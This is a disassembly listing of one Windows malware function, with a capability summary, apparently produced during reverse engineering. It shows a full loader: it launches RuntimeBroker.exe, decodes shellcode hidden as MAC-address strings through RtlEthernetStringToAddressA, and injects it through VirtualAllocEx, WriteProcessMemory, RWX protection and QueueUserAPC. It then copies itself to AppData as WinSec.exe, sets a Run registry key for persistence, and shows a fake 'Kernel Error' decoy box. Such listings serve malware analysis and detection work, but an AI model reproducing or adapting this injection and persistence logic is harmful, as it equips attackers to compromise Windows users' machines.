Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Create process on windows
Execute shellcode via indirect call
Inject apc
Query environment variable
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x960]
sub rsp, 0xa60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x950], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xorps xmm0, xmm0
lea rdi, [rbp - 0x80]
xor eax, eax
lea rdx, [rbp]
movups xmmword [rbp - 0x7c], xmm0
mov dword [rbp - 0x1c], eax
mov ecx, 0x68
movups xmmword [rbp - 0x6c], xmm0
mov qword [rsp + 0x68], rax
mov r8d, 0x104
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
rep stosb byte [rdi], al
movups xmmword [rsp + 0x58], xmm0
lea rdi, [rsp + 0x58]
mov dword [rbp - 0x80], 0x68
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140001516
lea r9, str.RuntimeBroker.exe
lea r8, [rbp]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x320]
call fcn.140001070
xor edi, edi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x320]
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor ecx, ecx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001516
mov eax, dword [rsp + 0x68]
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x60]
mov dword [rsp + 0x50], eax
test eax, eax
je 0x140001516
test r14, r14
je 0x140001516
test r13, r13
je 0x140001516
lea rcx, str.NTDLL
mov qword [rbp - 0x10], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlEthernetStringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140001516
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x19602
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
je 0x140001516
mov rbx, rax
lea rsi, str.56_48_89_E6_48_83
mov rcx, qword [rsi]
lea rdx, [rbp - 0x10]
mov r8, rbx
call r15
test eax, eax
jne 0x140001516
add rbx, 6
inc edi
add rsi, 8
cmp edi, 0x43ab
jb 0x140001261
xor eax, eax
mov dword [rsp + 0x20], 4
xor edx, edx
mov qword [rsp + 0x78], rax
mov r9d, 0x3000
mov dword [rsp + 0x70], eax
mov r8d, 0x19602
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140001516
lea rax, [rsp + 0x78]
mov r9d, 0x19602
mov r8, r12
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001516
cmp qword [rsp + 0x78], 0x19602
jne 0x140001516
lea rax, [rsp + 0x70]
mov r9d, 0x40
mov r8d, 0x19602
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001516
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x104
lea rdx, [rbp + 0x320]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0x320]
mov edx, 0x104
lea r8, str._sAppDataLocalRow
lea rcx, [rbp + 0x530]
call fcn.140001010
xor edx, edx
lea rcx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400013b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400013fd
lea rax, str.WinSec.exe
mov edx, 0x104
lea r9, [rbp + 0x530]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x110]
call fcn.140001010
xor r8d, r8d
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x740]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140001407
mov eax, 1
jmp 0x14000151d
mov eax, dword [0x140052818]
lea rdx, [rbp - 0x80]
movaps xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov r9d, 2
movaps xmm1, xmmword [0x1400527d0]
xor r8d, r8d
movaps xmmword [rbp - 0x80], xmm0
mov rcx, 0xffffffff80000001
movaps xmm0, xmmword [0x1400527e0]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm0, xmmword [0x140052800]
mov dword [rbp - 0x28], eax
mov eax, dword [0x140052828]
movaps xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x140052810]
mov dword [rbp - 8], eax
movzx eax, word [0x14005282c]
movsd qword [rbp - 0x30], xmm0
movsd xmm0, qword [str.WinSec]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x1400527f0]
mov word [rbp - 4], ax
lea rax, [rsp + 0x50]
movsd qword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x50], xmm1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rcx, [rbp + 0x110]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400014b0
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x10]
lea rax, [rbp + 0x110]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 0x10
lea r8, str.Kernel_Error
lea rdx, str.Error_0x0000007F
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x14000151d
mov rax, 0xffffffffffffffff
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.140001560
lea r11, [rsp + 0xa60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret